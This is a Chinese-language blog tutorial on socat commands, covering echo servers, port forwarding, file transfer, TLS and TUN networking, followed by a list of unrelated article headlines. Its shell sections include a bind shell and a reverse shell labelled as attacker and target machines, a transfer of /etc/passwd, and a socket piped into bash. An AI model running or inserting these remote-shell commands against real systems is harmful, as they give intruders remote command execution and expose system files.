发布时间:2026/8/29 17:17:35
Socat 命令总结 事以密成语以泄败。导航介绍基本语法用法示例1. 回显输入2. 回显输入 over TCP/UDP3. 正向连接 shell4. 反向连接 shell5. 端口转发6. 网络服务7. 文件传输8. 管道传输9. 加密传输10. TUN 网络杂项介绍Socat是一个功能强大的网络工具相当于是增强版 netcat它可以在两个数据流之间建立通道且支持的数据流类型非常丰富例如TCP、UDP、TUN、SOCKS 代理、UNIX 套接字、STDIO 标准输入输出流、PIPE 管道流、OPEN 文件流、EXEC/SHELL/SYSTEM 进程流、OPENSSl 加密流等。基本语法socat[OPTION]ADDRESS_1[,OPTS]ADDRESS_2[,OPTS]ADDRESS_1和ADDRESS_2表示两个通信的端点即数据流。OPTION用于设置全局选项比如单向模式、调试模式、日志级别等。【注单向模式中的 -u 表示左流向右-U 表示右流向左不加则表示双向模式。】OPTS用于设置数据流的选项不同类型的数据流对应的选项亦有所区别常用的选项是 fork、reuseaddr。用法示例1. 回显输入socat - -#STDIO STDIO说明在终端输入什么就输出什么。2. 回显输入 over TCP/UDPsocat - tcp-listen:1234,fork#STDIO TCP 服务端监听1234端口socat - tcp:127.0.0.1:1234#STDIO TCP 客户端连接1234端口socat - udp4-listen:1234,bind192.168.56.20,fork#STDIO UDP 服务端仅监听192.168.56.20接口的1234端口socat - udp4:192.168.56.20:1234#STDIO UDP 客户端连接1234端口说明客户端将输入的数据通过 tcp/udp 通道传输给服务端而服务端又将接收的数据再传输给标准输出。3. 正向连接 shellsocat tcp-listen:1234,fork exec:/bin/bash#TCP EXEC 服务端监听1234端口socat - tcp:127.0.0.1:1234#STDIO TCP 客户端连接1234端口说明服务端将接收到的数据传输给 bash 进程bash 处理之后将结果返回给客户端的标准输出。,4. 反向连接 shellsocat - tcp-listen:1234,fork#STDIO TCP 攻击机监听1234端口socat EXEC:/bin/bash tcp:127.0.0.1:1234#EXEC TCP 靶机连接1234端口#socat - tcp:127.0.0.1:1234 #STDIO TCP 靶机连接1234端口说明攻击机将输入的数据传输给连接它的靶机而靶机又将数据传递给了 bash 进程经其处理之后返回结果到攻击机。【注意如果有多个靶机同时连接攻击机那么攻击机的输入会随机被传递给其中一个靶机而不是同时传递给所有靶机。】5. 端口转发socat tcp-listen:1234,fork tcp:127.0.0.1:8080#TCP TCP说明将本地监听端口 tcp/1234 接收的数据转发到本地的 tcp/8080 端口。【转发到远端亦行】6. 网络服务socat-Utcp-listen:1234,fork open:test.txt#TCP OPEN说明将文件内容作为服务响应返回。【注意此时最好使用-U单向模式(右向左)否则请求可能会覆盖文件内容。】7. 文件传输socat-Utcp-listen:1234,fork open:/etc/passwd#TCP OPEN 发送端socat-utcp:127.0.0.1:1234 open:./passwd.txt,create#TCP OPEN 接收端说明发送端将文件数据传输给连接到监听端口的接收端接收端又将收到的数据打包到新文件中。【注意单向模式的使用】8. 管道传输echook|socat - tcp-listen:1234,fork#PIPE TCP#socat - tcp-listen:1234,fork | bash #TCP PIPE说明1将 echo 输出的数据通过管道传递给连向监听端口的终端2将监听端口接收到的数据传递给 bash 进程处理。9. 加密传输socat openssl-listen:8443,certssl-cert.pem,keyssl-cert.key,verify0,fork tcp:127.0.0.1:8080#OPENSSL TCP OPENSSL 服务端#socat - openssl:127.0.0.1:8443,verify0 #OPENSSL 客户端#注当服务端不是转发给 http 服务时客户端需要此命令配合使用示例截图中的 curl 命令拥有 openssl 客户端的功能故示例没有用到该命令。#注功能测试时证书的生成可以使用 make-ssl-cert /usr/share/ssl-cert/ssleay.cnf ssl-cert 命令生成。说明监听 HTTPS 请求并将其转发到本地的 HTTP 服务。10. TUN 网络socat tcp-listen:1234,fork tun:192.168.1.1/24,up#TCP TUN 服务端socat tcp:192.168.56.20:1234 tun:192.168.1.2/24,up#TCP TUN 客户端说明所有连接到 TUN 服务端的终端全都接入了一个自建的 TUN 网络之中从而实现了异地组网。【在 Linux 中测试是成功的但是在 Windows 中测试时失败了。】杂项Socat 官网http://www.dest-unreach.org/socat/Socat for Windows https://github.com/StudioEtrange/socat-windowsSocat 预编译版本https://github.com/3ndG4me/socat我的博客园

相关新闻

2026/8/29 17:17:35

移动App发版避坑指南:签名、版本号与自动化检查全攻略

做移动开发这几年,如果说哪个环节最让我焦虑,那一定是发版这件事。平时写代码、做需求、修Bug,反馈链路都很短,代码有问题跑一次就能发现。但发版不一样,它是一场跨开发、测试、产品、运营的联合行为,任何一…

2026/8/29 17:17:35

Vue3从零入门完整指南:核心语法、组件通信与实战项目

最近有不少刚开始学前端的小伙伴问我:都 2026 年了,新手学 Vue 到底该学 Vue2 还是直接学 Vue3?我的建议非常明确: 直接上手 Vue3 。Vue3 是当前 Vue 生态的绝对主流,社区组件库、企业级项目、招聘要求都已经全面转向…

2026/8/29 17:27:36

推理服务代码评审的七项检查

推理服务代码评审的七项检查 推理服务的代码评审,不能只验证“给一段输入能否返回答案”。服务通常同时处理用户数据、模型配置、流式连接、检索内容和外部工具,任何一个边界含糊都可能变成成本、权限或稳定性问题。下面七项检查适合作为评审起点&#x…

2026/8/29 17:27:36

BAT实习面试全复盘:时间线、内推、算法题与项目深挖

1. 投递阶段的水有多深:时间线、内推与简历筛选 很多人在准备BAT实习面试的时候,把百分之八十的精力都砸在刷题和背八股上,结果简历连初筛都没过。我见过太多这样的例子了,包括我自己第一次投递时也吃过这个亏。后来面完三家、复盘…

2026/8/29 17:27:36

FixAnything:用视频生成先验修复3D渲染伪影与不一致

最近在跟进 3D 渲染方向的新工作,关注到以“FixAnything”为代表的渲染精炼思路:它不再执着于从头训练一个更强大的渲染模型,而是把视频生成模型当作先验,用来修复 3D 渲染中难以避免的伪影和不一致问题。这个方向在 NeRF、3D Gau…

2026/8/29 17:27:36

C语言宿舍分配系统:从结构体到算法,实现自动化公平分配

1. 项目概述:从手动排表到自动化决策 每到开学季,新生报到,或者公司新员工入职,宿舍分配总是一个让人头疼的问题。传统的做法是辅导员或者行政人员拿着花名册,根据性别、专业、班级等有限信息,手动在Excel表…

2026/8/29 17:27:36

Linux PipeWire深度解析之pw_thread_loop_wait调用流程与实战(八十七)

简介: CSDN博客专家、《Android系统多媒体进阶实战》作者 博主新书推荐:《Android系统多媒体进阶实战》🚀 Android Audio工程师专栏地址: Audio工程师进阶系列【原创干货持续更新中……】🚀 Android多媒体专栏地址&a…

2026/8/29 17:22:35

基于SpringBoot的养生健康平台系统毕业设计项目源码

联系博主 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 …

2026/8/28 16:16:17

[光学原理与应用-521]:对光的错误理解与纠偏

首先光是一种能量的载体和形态,宏观上观察到的光是由无数个微观的光量子组成的,每个光子在产生的瞬间,其在真空的空间中以确定不变的速度沿着一个初始的方向一直向前,在微观层面,每个光量子的运动轨迹是以波函数所展现…

2026/8/28 16:16:21

SIP通话转接原理与REFER方法实战解析

1. 通话转接不是“挂断再拨号”,而是SIP会话的动态重定向你有没有遇到过这样的场景:客服坐席A正在和客户通电话,突然需要把这通对话无缝转给专家坐席B,客户完全感知不到中间的断连——既没听到忙音,也没被要求重新拨号…

2026/8/28 16:16:22

Kolla-ansible单节点OpenStack部署实战:从环境准备到排坑指南

1. 为什么选择Kolla-ansible来部署单节点OpenStack?如果你正在寻找一种能把OpenStack从“概念”快速变成“可用的实验环境”的方法,那么Kolla-ansible几乎是当前最主流、最省心的选择。我见过太多人卡在手动编译依赖、配置服务、处理版本冲突的泥潭里&am…

2026/8/29 0:01:10

etc目录下的profile.d文件目录设置环境变量和全局脚本shell

一、设置环境变量etc目录下的profile.d文件目录 /etc/profile.d1、编写 vi test.sh文件内容# jdk变量 export ZHK_HOME/root export PATH$PATH:$ZHK_HOME/test # 可以取出来ZHK_HOME变量给ZZZ_HOME赋值 export ZZZ_HOME${ZHK_HOME}/test2、刷新 执行source /etc/profile 命令使…

2026/8/29 0:01:10

【JavaScript】内存管理-垃圾回收机制-内存泄露

内存管理 C 语言这样的底层语言一般都有底层的内存管理接口,比如 malloc()和free()。 而 JavaScript 是在创建变量(对象,字符串等)时自动进行了分配内存,并且在不使用它们时“自动”释放。释放的过程称为垃圾回收。 整…

2026/8/29 0:01:10

Labgrid-MCP:为嵌入式硬件实验室接入AI Agent操控能力

Labgrid-MCP 的目标是把 MCP(Model Context Protocol)能力延伸到真实嵌入式硬件实验室:AI Agent 通过一个标准化的 MCP Server,就能查看目标板状态、控制上电断电、复位开发板、读取串口日志,甚至执行镜像刷写。对于经…

2026/8/28 16:16:48

实测才敢推 AI论文网站 2026最新测评与推荐

2026年真正好用的AI论文网站,核心看生成的论文质量、低AI味、格式正确、学术适配四大指标。综合实测,千笔AI、ThouPen、豆包、DeepSeek、Grammarly 是当前最值得推荐的梯队,覆盖从免费到付费、从中文到英文、从文科到理工的全场景需求。一、综…

2026/8/28 16:16:50

2026必备!AI论文网站测评:最新推荐与深度对比

2026年真正好用的AI论文网站,核心看生成的论文质量、低AI味、格式正确、学术适配四大指标。综合实测,千笔AI、ThouPen、豆包、DeepSeek、Grammarly 是当前最值得推荐的梯队,覆盖从免费到付费、从中文到英文、从文科到理工的全场景需求。 一、…

2026/8/28 11:06:45

摆脱论文困扰!盘点2026年全网爆红的的AI论文写作工具

一天写完毕业论文在2026年已不再是天方夜谭。2026年最炸裂、实测能大幅提速的AI论文写作工具,覆盖选题构思、文献整理、内容生成、格式排版等核心场景,真正帮你高效搞定论文难题。 一、全流程王者:一站式搞定论文全链路(一天定稿首…